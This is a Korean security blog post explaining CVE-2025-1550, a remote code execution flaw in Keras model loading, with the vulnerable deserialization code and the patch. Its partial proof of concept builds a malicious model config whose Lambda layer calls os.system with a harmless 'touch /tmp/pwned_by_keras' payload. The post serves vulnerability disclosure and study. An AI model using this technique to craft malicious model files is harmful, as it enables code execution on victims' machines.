[하루한줄] CVE-2025-1550 : Keras의 모델 로딩 시 검증 미흡으로 인한 RCE 취약점
URL
Target
- Keras < v3.9
Explain
CCVE-2025-1550은 Google이 개발한 딥러닝 라이브러리인 Keras의 keras.models.load_model()
함수에서 발생하는 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 모델 파일의 구성 정보(config.json
)를 별도의 검증 없이 처리하는 과정에서 발생하며, 악의적으로 조작된 모델 파일을 로드할 경우 임의의 코드가 실행될 수 있습니다.
# keras/keras/saving/serialization_lib.py
if class_name == "function":
fn_name = inner_config
return _retrieve_class_or_fn(
fn_name,
registered_name,
module,
obj_type="function",
full_config=config,
custom_objects=custom_objects,
)
해당 취약점은 모델 아키텍쳐 및 구성 정보가 포함된 config.json
파일을 직렬화된 객체로 반환할 때class_name
값이 function
인 경우 _retrieve_class_or_fn
를 호출하여 json 내 정의한 모듈 및 함수를 가져오며 발생합니다.
# keras/keras/saving/serialization_lib.py
try:
mod = importlib.import_module(module)
except ModuleNotFoundError:
raise TypeError(
f"Could not deserialize {obj_type} '{name}' because "
f"its parent module {module} cannot be imported. "
f"Full object config: {full_config}"
)
obj = vars(mod).get(name, None)
if obj is None:
# Special case for keras.metrics.metrics
if registered_name is not None:
obj = vars(mod).get(registered_name, None)
# Support for `__qualname__`
if name.count(".") == 1:
outer_name, inner_name = name.split(".")
outer_obj = vars(mod).get(outer_name, None)
obj = (
getattr(outer_obj, inner_name, None)
if outer_obj is not None
else None
)
if obj is not None:
return obj
이때 별도의 검증없이 모듈 및 함수를 가져오기 때문에 공격자는 Remote Code Execution이 가능해집니다. Keras는 모델 파일을 임시 디렉터리에 위치시키기 때문에 공격자의 악성 lib이나 python script는 가져올 수 없지만, os.system()
같은 표준 모듈을 사용 가능합니다.
PoC
...
PAYLOAD = "touch /tmp/pwned_by_keras"
def create_malicious_config():
return {
"class_name": "Functional",
"config": {
"name": "pwned_model",
"layers": [
{
"class_name": "Lambda",
"config": {
"name": "evil_lambda",
"function": {
"class_name": "function",
"config": {
"module": "os",
"function_name": "system",
"registered_name": None
}
},
"arguments": [PAYLOAD]
}
}
],
"input_layers": [["evil_lambda", 0, 0]],
"output_layers": [["evil_lambda", 0, 0]]
}
}
...
def trigger_exploit(model_path):
print("[*] Loading malicious model to trigger exploit...")
load_model(model_path)
print("[✓] Model loaded. If vulnerable, payload should be executed.")
if __name__ == "__main__":
keras_file = "malicious_model.keras"
build_malicious_keras(keras_file)
trigger_exploit(keras_file)
create_malicious_config()
함수는 모델 구조를 정의하는 config.json 파일을 생성합니다. class_name
을 "function"
으로 설정하고, module
과 function_name
을 각각 "os"
와 "system"
으로 지정함으로써, Keras 내부의 deserialize_keras_object()
→ _retrieve_class_or_fn()
를 통해 os.system
함수 객체를 로드할 수 있도록 합니다.arguments
필드에 공격자가 "touch /tmp/pwned_by_keras"
문자열 인자로 전달함으로써, 모델이 실행되는 시점에 os.system("touch /tmp/pwned_by_keras")
형태로 함수가 호출되도록 유도합니다.
Patched Code
# Otherwise, attempt to retrieve the class object given the `module`
# and `class_name`. Import the module, find the class.
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
try:
mod = importlib.import_module(module)
obj = vars(mod).get(name, None)
if obj is not None:
return obj
except ModuleNotFoundError:
raise TypeError(
f"Could not deserialize {obj_type} '{name}' because "
f"its parent module {module} cannot be imported. "
f"Full object config: {full_config}"
)
현재 keras v3.9 에서는 function과 같은 레이어가 아닌 객체들이 레이어로 등록되는 것을 방지하고 로드될 수 있는 모듈을 제한하도록 패치되었습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.